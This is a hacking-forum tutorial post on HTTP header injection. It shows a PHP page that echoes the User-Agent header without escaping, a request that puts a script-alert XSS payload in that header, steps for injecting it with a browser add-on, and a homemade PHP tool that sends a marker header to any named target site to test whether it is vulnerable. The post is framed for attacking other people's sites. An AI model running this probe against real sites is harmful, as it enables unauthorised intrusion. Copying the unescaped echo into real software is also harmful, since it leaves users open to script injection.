[Boomslang]

Hello [username]!
I'm going to show you the Header Injection in this thread.

What The Hell is a Header?
The HTTP Header is used by HTTP servers to get information like request type, host, user-agent etc. from the client.

Example header information;

Code:

GET http://www.tiggerwigger.com/ HTTP/1.0 Proxy-Connection: Keep-Alive User-Agent: Mozilla/5.0 [en] (X11; I; Linux 2.2.3 i686) Host: www.tiggerwigger.com * Accept-Encoding: gzip Accept-Language: en Accept-Charset: iso-8859-1, *, utf-8

These information can be seized with server side languages.
For example;

Code:

$_SERVER['REMOTE_ADDR']; //Client IP $_SERVER['HTTP_ACCEPT_CHARSET']; //Header Charset Information $_SERVER['HTTP_ACCEPT_ENCODING']; //Header Encoding Information $_SERVER['HTTP_USER_AGENT']; //Header User Agent Information

We can inject into some of these header information. We'll inject into User-Agent in this tutorial.

For example our page will be like this,

Code:

<? print "Your User-Agent is: $_SERVER['HTTP_USER_AGENT']"; ?>

What if we just send a header information like this?

Code:

GET http://www.tiggerwigger.com/ HTTP/1.0 User-Agent: <script>alert('RootTheSystem was here!!');</script> Host: www.tiggerwigger.com Connection: Close

BAM! A wild prompt screen appears

Exploiting
You can use a Firefox add-on named "User Agent Switcher".
Download link: https://addons.mozilla.org/en-US/firefox...-switcher/

After installing the add-on, go to Tools>Default User Agent>Edit User Agents...>New




Then type "What is my user agent?" in google and get in some website.
Reload the page after changing your user agent and..
BAM!!


But still we don't like using tools untill its not made by us so we will write one

Code:

<html> <body> <div align="center"> <h2>Header Injection Tool</h2> <form action="#" method="POST"> <b>Target (without http://) :</b>&nbsp;<input type="text" name="target"> <br> <input type="submit" value="Shoot to That Bitch!"> <br> <br> <?php if(!empty($_POST['target'])){ $fp = fsockopen($target, 80, $errno, $errstr, 30); if (!$fp) { echo "$errstr ($errno)<br />\n"; } else { $response = ""; $header = "GET http://$target/ HTTP/1.1\r\n"; $header .= "Host: $target\r\n"; $header .= "User-Agent: <hc>Hey Orange!!</hc>\r\n"; $header .= "Connection: Close\r\n\r\n"; fwrite($fp, $header); while (!feof($fp)) { $response .= fgets($fp, 128); } fclose($fp); if(strstr($response, '<hc>Hey Orange!!</hc>')){ echo "<b>Vulnerability Found!!</b><br>"; }else{ echo "<b>Website isn't vulnerable..</b><br>"; } } } ?> </form> </div> </body> </html>

I hope you liked this tutorial

Au Revoir..